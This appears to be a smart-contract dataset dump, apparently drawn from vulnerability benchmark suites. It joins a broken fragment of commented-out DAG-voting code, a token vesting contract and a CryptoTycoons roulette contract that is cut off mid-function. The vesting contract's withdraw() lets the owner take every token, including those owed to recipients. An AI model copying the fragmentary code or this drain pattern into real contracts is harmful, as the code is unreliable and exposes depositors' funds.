// // there are DAG vote only under MAX_REL_ROOT_DEPTH. If we are there we can stop.
// if (depth == MAX_REL_ROOT_DEPTH) {
// return;
// }
// // we repeat the procedure for our decendants
// for (uint32 i =0; i< recTreeVoteCount[voter]; i++) {
// address recipient = recTreeVote[voter][i];
// removeSentDagVoteJumpingTogether(recipient, jumpDistance, depth+1);
// }
// }
// // when rising a single depth up the tree,
// function removeDagVoteRisingTogether(address voter, uint32 depth) internal {
// if (MAX_REL_ROOT_DEPTH<= depth){
// return;
// }
// //////////// Wrong!!!! the triangle's right half, i.e. voters over dist, move up or down.
// removeDagVoteForRisingAlone(voter, depth);
// for (uint32 i =0; i< recTreeVoteCount[voter]; i++) {
// address recipient = recTreeVote[voter][i];
// removeDagVoteRisingTogether(recipient, depth+1);
// }
// }
// // when falling a single depth to one of our brothers,
// function removeDagVoteFallingTogether(address voter, uint32 depth) internal {
// if (MAX_REL_ROOT_DEPTH<= depth){
// return;
// }
// removeDagVoteForFallingAlone(voter, depth);
// for (uint32 i =0; i< recTreeVoteCount[voter]; i++) {
// address recipient = recTreeVote[voter][i];
// removeDagVoteFallingTogether(recipient, depth+1);
// }
// }
// function removeSentDagVoteLineDistEqualsDepthPlusValue(address voter, uint32 value) internal {
// for (uint32 i = value+1; i <= MAX_REL_ROOT_DEPTH; i++) {
// removeSentDagVoteCell(voter, i, i-value);
// }
// }
// for (uint32 i = value+1; i <= MAX_REL_ROOT_DEPTH; i++) {
// removeRecDagVoteCell(voter, i, i-value);
// }
// }
// function removeRecDagVoteLineDistEqualsValue(address voter, uint32 value) internal {
// for (uint32 i = 1; i <= value; i++) {
// removeSentDagVoteCell(voter, value, i);
// }
// }
// // here it is ok to use unsafe, as the the vote is moved, not removed
// sentDagAppend(voter, newDist, newDepth, recipient, weight, rPos);
// }
// ///////////// Area removals, for single voters, across both tables
// function removeDagVoteForJumpingAlone(address voter, uint32 dist) internal {
// for (uint32 i = dist; i < MAX_REL_ROOT_DEPTH; i++) {
// removeSentDagVoteLineDistEqualsValue(voter, sentDagVoteDepthDiff[voter]+ i);
// removeRecDagVoteLineDistEqualsValue(voter, recDagVoteDepthDiff[voter]+ i);
// }
// }
// // we remove the rows on the edges and change the frame of the dag arrays.
// // we need to remove all votes that are not in the subtree of the voter
// // sent trianlge moves down
// // rec triangle moves up
// for (uint32 i = 0; i < depth; i++){
// removeSentDagVoteLineDepthEqualsValue(voter, i+1);
// removeRecDagVoteLineDistEqualsDepthPlusValue(voter, i);
// }
// sentDagVoteDepthDiff[voter] += depth;
// recDagVoteDepthDiff[voter] -= depth;
// }
// // we remove the rows on the edges and change the frame of the dag arrays.
// // we need to remove all votes that are not in the subtree of the voter
// // sent trianlge moves up
// // rec triangle moves down
// for (uint32 i = 0; i < depth; i++){
// removeSentDagVoteLineDistEqualsDepthPlusValue(voter, 0);
// removeRecDagVoteLineDepthEqualsValue(voter, 1);
// }
// sentDagVoteDepthDiff[voter] -= depth;
// recDagVoteDepthDiff[voter] += depth;
// }
///////////// Volume removals, across multiple voters on a branch
// ///////////// move alone
// ///// move to new recipient Alone
// ///////////// move with descendants
// //// JOIN THESE THREE INTO A SINGLE JUMP WITH DESCENDANTS FUNCTION
// // to change a tree vote to recipient, who is at most maxDistance away from voter.
// /////////// CURRENTLY NOT USED
// (, uint32 depth) = findRelDepth(voter, recipient);
// assert (depth == 1);
// assert (distance <= maxDistance);
// removeSentDagVoteJumpingTogether(voter, distance, 0);
// removeTreeVote(voter);
// addTreeVote(voter, recipient);
// }
// /////////// CURRENTLY NOT USED END
// // equivalent to changing our tree vote to our parent's parent
// function changeTreeVoteRiseWithDescendants(address voter) internal {
// address recipient = treeVote[treeVote[voter]];
// assert (recipient != address(0));
// assert (recipient != address(1));
// removeDagVoteRisingTogether(voter, 0);
// removeTreeVote(voter);
// addTreeVote(voter, recipient);
// }
// /// CURRENTLY NOT USED
// // equivalent to changing our tree vote to our brother = parent's child
// assert (treeVote[recipient] == treeVote[voter]);
// assert (treeVote[recipient]!= address(0));
// assert (treeVote[recipient]!= address(1));
// removeDagVoteFallingTogether(voter, 0);
// removeTreeVote(voter);
// addTreeVote(voter, recipient);
// }
// /// CURRENTLY NOT USED END
// if (isAnscestor){
// handleDagVoteMoveFall(voter, recipient, address(0), lowerDist, lowerDepth);
// // for (uint32 depth=lowerDepth; 0<depth; depth--){
// // address replacer = findNthParent(recipient, depth-1);
// // handleDagVoteForFalling(voter, replacer);
// // handleDagVoteForRising(replacer);
// // switchTreeVoteWithParent(replacer);
// // }
// // sent removing columns that are too far away
// // sent falling
// // sent collapsing or sorting not needed, we get further from everyone
// // rec remove rows that are lower than lowerDepth+1
// // rec falling, here we also fall right.
// // rec no collapse needed, we don't get unequally futher from anyone
// } else if (isLowerOrEqual){
// // sent removing columns that are too high
// // sentDag Array falling
// // collapse bottomleft small triangle into a column
// // sort this column
// // rec Dag Array higher rows (higher than MRD- jump dist) need to be emptied.
// // rec Dag Arrau lower rows lower than lowerDepth
// // rec Dag Array needs lowering, right and down
// // rec sort the column we collapsed into.
// } else if (isSimilar){
// // here we are automatically not falling, as isLowerOrEqual is false.
// // sentDagVote
// // remove rows with depth under simDepth
// for (uint32 depth =1; depth < simDepth; depth++){
// removeSentDagVoteLineDepthEqualsValue(voter, depth);
// }
// // rising
// increaseSentDagVoteDepthDiff(voter, simDepth-1);
// increaseSentDagVoteDistDiff(voter, simDepth-1);
// decreaseDistDepthFromSentOnOp(voter, simDepth-1, simDepth-1);
// //collapseSentDagVoteIntoColumn(voter,);
// // for each depth cell in the collapsed column
// // recDagVote
// // remove higher rows (higher than MRD-jump dist) need to be emptied.
// for (uint32 depth =MAX_REL_ROOT_DEPTH - simDist; depth <=MAX_REL_ROOT_DEPTH; depth++){
// removeRecDagVoteLineDepthEqualsValue(voter, depth);
// }
// // rising,
// // now we sort the coloumn we collapsed into, by depth .
// } else if ((isHigher) && (higherDepthDiff > 1)){
// // remove rows with depth under higherDepthDiff
// for (uint32 depth =1; depth < higherDepthDiff; depth++){
// removeSentDagVoteLineDepthEqualsValue(voter, depth);
// }
// // because of the rising, we need to change the graph.
// increaseSentDagVoteDepthDiff(voter, higherDepthDiff-1);
// increaseSentDagVoteDistDiff(voter, higherDepthDiff-1);
// decreaseDistDepthFromSentOnOp(voter, higherDepthDiff-1, higherDepthDiff-1);
// // collapseSentDagVoteIntoColumn(voter,);
// //sorting not required, as we are out of our original tree, so we cannot jump closer.
// // rec dag array needs to be emptied completely.
// removeRecDagVoteComplete(voter);
// } else {
// // we jumped out completely, remove all votes.
// removeSentDagVoteComplete(voter);
// removeRecDagVoteComplete(voter);
// }
// function handleDagVoteForFalling(address voter, address replacer) internal {
// removeSentDagVoteLineDistEqualsValue(voter, MAX_REL_ROOT_DEPTH);
// decreaseSentDagVoteDepthDiff(voter, 1);
// decreaseSentDagVoteDistDiff(voter, 1);
// // at this point the triangle is in its new position.
// increaseDistDepthFromSentOnOp(voter, 1, 1);
// // splitRecDagVoteDiagonal(voter, replacer);
// removeRecDagVoteLineDepthEqualsValue(voter, 1);
// increaseRecDagVoteDepthDiff(voter, 1);
// // decreaseDistDepthFromRecOnOp(voter, 0, 1);
// }
// function handleDagVoteForRising(address voter) internal {
// removeSentDagVoteLineDepthEqualsValue(voter, 1);
// increaseSentDagVoteDepthDiff(voter, 1);
// increaseSentDagVoteDistDiff(voter, 1);
// // at this point the triangle is in its new position.
// decreaseDistDepthFromSentOnOp(voter, 1, 1);
// // remove top right triangle
// // merge diagonal parallelogram into column
// // mergeRecDagVoteDiagonal(voter);
// decreaseRecDagVoteDepthDiff(voter, 1);
// // increaseDistDepthFromRecOnOp(voter, 0, 1);
// }
/////////// merge split
// merge recDagVoteCell on diagonal right
function mergeRecDagVoteDiagonalCell(address recipient, uint32 rdist) public {
// if (readRecDagVoteCount(recipient, rdist, rdist) == 0) {
// return;
// }
// for (uint32 i = readRecDagVoteCount(recipient, rdist, rdist); 1 <= i; i--) {
// DagVote memory rDagVote = readRecDagVote(recipient, rdist, rdist, i-1);
// safeRemoveRecDagVoteAtDistDepthPos(recipient, rdist, rdist, i-1);
// combinedDagAppend(rDagVote.id, recipient, rdist+1, rdist, rDagVote.weight);
// sentDagVoteTotalWeight[rDagVote.id] += rDagVote.weight;
// }
}
function splitRecDagVoteDiagonalCell(address recipient, uint32 dist, address checkAnscestor) public {
// if (readRecDagVoteCount(recipient, dist, dist) == 0) {
// return;
// }
// for (uint32 i = readRecDagVoteCount(recipient, dist, dist); 1<=i ; i--) {
// DagVote memory rDagVote = readRecDagVote(recipient, dist, dist, i-1);
// if (findNthParent(rDagVote.id, dist-1) == checkAnscestor){
// safeRemoveRecDagVoteAtDistDepthPos(recipient, dist, dist, i-1);
// // this is over the diagonal, but we will push the frame up
// combinedDagAppend(rDagVote.id, recipient, dist-1, dist, rDagVote.weight);
// sentDagVoteTotalWeight[rDagVote.id] += rDagVote.weight;
// }
// }
}
// function mergeRecDagVoteDiagonal(address recipient) public {
// // for (uint32 i = 1; i < MAX_REL_ROOT_DEPTH; i++) {
// // mergeRecDagVoteDiagonalCell(recipient, i);
// // }
// // removeRecDagVoteCell(recipient, MAX_REL_ROOT_DEPTH, MAX_REL_ROOT_DEPTH);
// }
// function splitRecDagVoteDiagonal(address recipient, address checkAnscestor) public {
// // for (uint32 i = 2; i <= MAX_REL_ROOT_DEPTH; i++) {
// // splitRecDagVoteDiagonalCell(recipient, i, checkAnscestor);
// // }
// }
}
| 5,644 | 14,139 |
391cedaa25795cf386d74586e808e8c6ee7852c7609e7e883e12a5b5d368ed33
| 34,903 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/ed/ed295347505dc687f204d455cba136964f03f32c_PreSeedDistribution.sol
| 4,518 | 18,346 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract PreSeedDistribution is Ownable, ReentrancyGuard {
using SafeMath for uint;
using SafeMath for uint32;
using SafeMath for uint256;
using SafeERC20 for IERC20;
event RewardClaimed(address indexed user, uint256 amount);
address public immutable HeC;
uint256 public immutable vestingTimeUnitSeconds;
uint256 public totalDebt;
mapping(address => uint) public walletIndices;
struct WalletInfo {
address recipient;
uint256 unlockedBalance;
uint256 lockedBalance;
uint256 totalAllocation;
uint256 releaseAmountPerVestingTimeUnit;
uint256 claimableEpochTime;
}
WalletInfo[] public wallets;
constructor(address _hec, uint256 _vestingTimeUnitSeconds) {
require(_hec != address(0));
HeC = _hec;
vestingTimeUnitSeconds = _vestingTimeUnitSeconds;
totalDebt = 0;
}
function claim() external nonReentrant {
uint index = walletIndices[msg.sender];
require(wallets[ index ].recipient == msg.sender, "Claim request is not valid.");
require(wallets[ index ].lockedBalance > 0, "There is no balance left to claim.");
//initial value of current claimable time is the ending time of cliff/lock period
//after first claim, this value is iterated forward by the time unit amount claimed
uint256 currentClaimableEpochTime = wallets[ index ].claimableEpochTime;
require(currentClaimableEpochTime <= uint256(block.timestamp), "Lock period not completed yet.");
uint256 vestingTimeUnitCount = (uint256(block.timestamp) - currentClaimableEpochTime).div(vestingTimeUnitSeconds);
require(vestingTimeUnitCount > 0, "Minimum vesting unit (day/week/month etc.) not passed yet.");
// distribute rewards to sender
uint256 valueToSend = wallets[ index ].releaseAmountPerVestingTimeUnit.mul(vestingTimeUnitCount);
if(valueToSend > wallets[ index ].lockedBalance) {
valueToSend = wallets[ index ].lockedBalance;
}
wallets[ index ].lockedBalance = wallets[ index ].lockedBalance.sub(valueToSend);
wallets[ index ].claimableEpochTime = currentClaimableEpochTime.add(vestingTimeUnitSeconds.mul(vestingTimeUnitCount));
totalDebt = totalDebt.sub(valueToSend);
IERC20(HeC).safeTransfer(msg.sender, valueToSend);
emit RewardClaimed(msg.sender, valueToSend);
}
function TGEclaim() external nonReentrant {
uint index = walletIndices[msg.sender];
require(wallets[ index ].recipient == msg.sender, "Claim request is not valid.");
require(wallets[index].unlockedBalance > 0, "There is no balance left to claim.");
uint256 valueToSend = wallets[ index ].unlockedBalance;
wallets[ index ].unlockedBalance = 0;
totalDebt = totalDebt.sub(valueToSend);
IERC20(HeC).safeTransfer(msg.sender, valueToSend);
emit RewardClaimed(msg.sender, valueToSend);
}
function claimable(uint index) public view returns (uint256) {
uint256 _currentClaimableEpochTime = wallets[ index ].claimableEpochTime;
require(_currentClaimableEpochTime <= uint256(block.timestamp), "Lock period not completed yet.");
uint256 _vestingTimeUnitCount = (uint256(block.timestamp) - _currentClaimableEpochTime).div(vestingTimeUnitSeconds);
uint256 _claimable = wallets[ index ].releaseAmountPerVestingTimeUnit.mul(_vestingTimeUnitCount);
if(_claimable > wallets[ index ].lockedBalance) {
_claimable = wallets[ index ].lockedBalance;
}
_claimable = _claimable.add(wallets[ index ].unlockedBalance);
return _claimable;
}
function _addRecipient(address _recipient, uint256 _unlockedBalance, uint256 _lockedBalance, uint256 _releaseAmountPerVestingTimeUnit, uint256 _claimableEpochTime) internal {
require(_recipient != address(0), "Recipient address cannot be empty.");
require(totalDebt.add(_lockedBalance).add(_unlockedBalance) <= IERC20(HeC).balanceOf(address(this)), "Cannot add this debt amount due to the balance of this Contract.");
wallets.push(WalletInfo({
recipient: _recipient,
unlockedBalance: _unlockedBalance,
lockedBalance: _lockedBalance,
totalAllocation: _unlockedBalance.add(_lockedBalance),
releaseAmountPerVestingTimeUnit: _releaseAmountPerVestingTimeUnit,
claimableEpochTime: _claimableEpochTime
}));
walletIndices[_recipient] = wallets.length - 1;
totalDebt = totalDebt.add(_lockedBalance).add(_unlockedBalance);
}
function addRecipient(address[] memory _recipient, uint256[] memory _unlockedBalance, uint256[] memory _lockedBalance, uint256[] memory _releaseAmountPerVestingTimeUnit, uint256[] memory _claimableEpochTime) external onlyOwner() {
require(_recipient.length == _unlockedBalance.length, "Array sizes do not match.");
require(_recipient.length == _releaseAmountPerVestingTimeUnit.length, "Array sizes do not match.");
require(_recipient.length == _lockedBalance.length, "Array sizes do not match.");
require(_recipient.length == _claimableEpochTime.length, "Array sizes do not match.");
for(uint i = 0; i < _recipient.length; i++) {
_addRecipient(_recipient[i], _unlockedBalance[i], _lockedBalance[i], _releaseAmountPerVestingTimeUnit[i], _claimableEpochTime[i]);
}
}
function _removeRecipient(uint _index, address _recipient) internal {
require(_recipient == wallets[ _index ].recipient, "Recipient index does not match.");
totalDebt = totalDebt.sub(wallets[ _index ].lockedBalance).sub(wallets[ _index ].unlockedBalance);
wallets[ _index ].recipient = address(0);
wallets[ _index ].releaseAmountPerVestingTimeUnit = 0;
wallets[ _index ].claimableEpochTime = 0;
wallets[ _index ].unlockedBalance = 0;
wallets[ _index ].lockedBalance = 0;
}
function removeRecipient(uint[] memory _indices, address[] memory _recipient) external onlyOwner() {
require(_recipient.length == _indices.length, "Array sizes do not match.");
for(uint i = 0; i < _recipient.length; i++) {
_removeRecipient(_indices[i], _recipient[i]);
}
}
function withdraw() external onlyOwner(){
uint256 total = IERC20(HeC).balanceOf(address(this));
require(total > 0, "There is no balance left to withdraw.");
IERC20(HeC).safeTransfer(msg.sender, total);
}
}
| 122,914 | 14,140 |
f17f5f2a48f1fb4388a03e01e1cf8536abea390d73fa4c388d80636fa6ca2b55
| 18,150 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x7958a487fbf8976370f0a93f1ebdab3801aad8cc.sol
| 4,841 | 17,722 |
pragma solidity ^0.5.0;
contract CryptoTycoonsVIPLib{
address payable public owner;
uint128 public jackpotSize;
uint128 public rankingRewardSize;
mapping (address => uint) userExpPool;
mapping (address => bool) public callerMap;
event RankingRewardPayment(address indexed beneficiary, uint amount);
modifier onlyOwner {
require(msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCaller {
bool isCaller = callerMap[msg.sender];
require(isCaller, "onlyCaller methods called by non-caller.");
_;
}
constructor() public{
owner = msg.sender;
callerMap[owner] = true;
}
function () external payable {
}
function kill() external onlyOwner {
selfdestruct(owner);
}
function addCaller(address caller) public onlyOwner{
bool isCaller = callerMap[caller];
if (isCaller == false){
callerMap[caller] = true;
}
}
function deleteCaller(address caller) external onlyOwner {
bool isCaller = callerMap[caller];
if (isCaller == true) {
callerMap[caller] = false;
}
}
function addUserExp(address addr, uint256 amount) public onlyCaller{
uint exp = userExpPool[addr];
exp = exp + amount;
userExpPool[addr] = exp;
}
function getUserExp(address addr) public view returns(uint256 exp){
return userExpPool[addr];
}
function getVIPLevel(address user) public view returns (uint256 level) {
uint exp = userExpPool[user];
if(exp >= 25 ether && exp < 125 ether){
level = 1;
} else if(exp >= 125 ether && exp < 250 ether){
level = 2;
} else if(exp >= 250 ether && exp < 1250 ether){
level = 3;
} else if(exp >= 1250 ether && exp < 2500 ether){
level = 4;
} else if(exp >= 2500 ether && exp < 12500 ether){
level = 5;
} else if(exp >= 12500 ether && exp < 25000 ether){
level = 6;
} else if(exp >= 25000 ether && exp < 125000 ether){
level = 7;
} else if(exp >= 125000 ether && exp < 250000 ether){
level = 8;
} else if(exp >= 250000 ether && exp < 1250000 ether){
level = 9;
} else if(exp >= 1250000 ether){
level = 10;
} else{
level = 0;
}
return level;
}
function getVIPBounusRate(address user) public view returns (uint256 rate){
uint level = getVIPLevel(user);
return level;
}
function increaseJackpot(uint increaseAmount) external onlyCaller {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function payJackpotReward(address payable to) external onlyCaller{
to.transfer(jackpotSize);
jackpotSize = 0;
}
function getJackpotSize() external view returns (uint256){
return jackpotSize;
}
function increaseRankingReward(uint amount) public onlyCaller{
require (amount <= address(this).balance, "Increase amount larger than balance.");
require (rankingRewardSize + amount <= address(this).balance, "Not enough funds.");
rankingRewardSize += uint128(amount);
}
function payRankingReward(address payable to) external onlyCaller {
uint128 prize = rankingRewardSize / 2;
rankingRewardSize = rankingRewardSize - prize;
if(to.send(prize)){
emit RankingRewardPayment(to, prize);
}
}
function getRankingRewardSize() external view returns (uint128){
return rankingRewardSize;
}
}
contract HalfRouletteEvents {
event Commit(uint commit);
event Payment(address indexed gambler, uint amount, uint8 betMask, uint8 l, uint8 r, uint betAmount);
event Refund(address indexed gambler, uint amount);
event JackpotPayment(address indexed gambler, uint amount);
event VIPBenefit(address indexed gambler, uint amount);
event InviterBenefit(address indexed inviter, address gambler, uint amount, uint betAmount);
}
contract CryptoTycoonsDApp {
address payable public owner;
address payable nextOwner;
address secretSigner;
mapping(address => bool) public croupierMap;
address payable public VIPLibraryAddress;
modifier onlyOwner {
require(msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCroupier {
bool isCroupier = croupierMap[msg.sender];
require(isCroupier, "OnlyCroupier methods called by non-croupier.");
_;
}
constructor() public {
owner = msg.sender;
croupierMap[msg.sender] = true;
secretSigner = msg.sender;
}
function () external payable {}
function approveNextOwner(address payable _nextOwner) external onlyOwner {
require(_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require(msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function addCroupier(address newCroupier) external onlyOwner {
bool isCroupier = croupierMap[newCroupier];
if (isCroupier == false) {
croupierMap[newCroupier] = true;
}
}
function deleteCroupier(address newCroupier) external onlyOwner {
bool isCroupier = croupierMap[newCroupier];
if (isCroupier == true) {
croupierMap[newCroupier] = false;
}
}
function setVIPLibraryAddress(address payable addr) external onlyOwner {
VIPLibraryAddress = addr;
}
function getMyAccuAmount() external view returns (uint) {
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
return vipLib.getUserExp(msg.sender);
}
function getJackpotSize() external view returns (uint) {
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
return vipLib.getJackpotSize();
}
function getRankingRewardSize() external view returns (uint128) {
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
return vipLib.getRankingRewardSize();
}
}
contract HalfRouletteStruct {
struct Bet {
uint amount;
uint8 betMask;
uint40 placeBlockNumber;
address payable gambler;
}
}
contract HalfRouletteConstant {
uint constant BET_EXPIRATION_BLOCKS = 250;
uint constant HOUSE_EDGE_PERCENT = 1;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0004 ether;
uint constant RANK_FUNDS_PERCENT = 7;
uint constant INVITER_BENEFIT_PERCENT = 7;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_BET = 300000 ether;
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant JACKPOT_FEE = 0.001 ether;
uint constant BASE_WIN_RATE = 100000;
}
contract HalfRoulettePure is HalfRouletteConstant {
function verifyBetMask(uint betMask) public pure {
bool verify;
assembly {
switch betMask
case 1 {verify := 1}
case 2 {verify := 1}
case 4 {verify := 1}
case 8 {verify := 1}
case 5 {verify := 1}
case 9 {verify := 1}
case 6 {verify := 1}
case 10 {verify := 1}
case 16 {verify := 1}
}
require(verify, "invalid betMask");
}
function getRecoverSigner(uint40 commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) public pure returns (address) {
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes memory message = abi.encodePacked(commitLastBlock, commit);
bytes32 messageHash = keccak256(abi.encodePacked(prefix, keccak256(message)));
return ecrecover(messageHash, v, r, s);
}
function getWinRate(uint betMask) public pure returns (uint rate) {
uint ODD_EVEN_RATE = 50000;
uint LEFT_RIGHT_RATE = 45833;
uint MIX_RATE = 22916;
uint EQUAL_RATE = 8333;
assembly {
switch betMask
case 1 {rate := ODD_EVEN_RATE}
case 2 {rate := ODD_EVEN_RATE}
case 4 {rate := LEFT_RIGHT_RATE}
case 8 {rate := LEFT_RIGHT_RATE}
case 5 {rate := MIX_RATE}
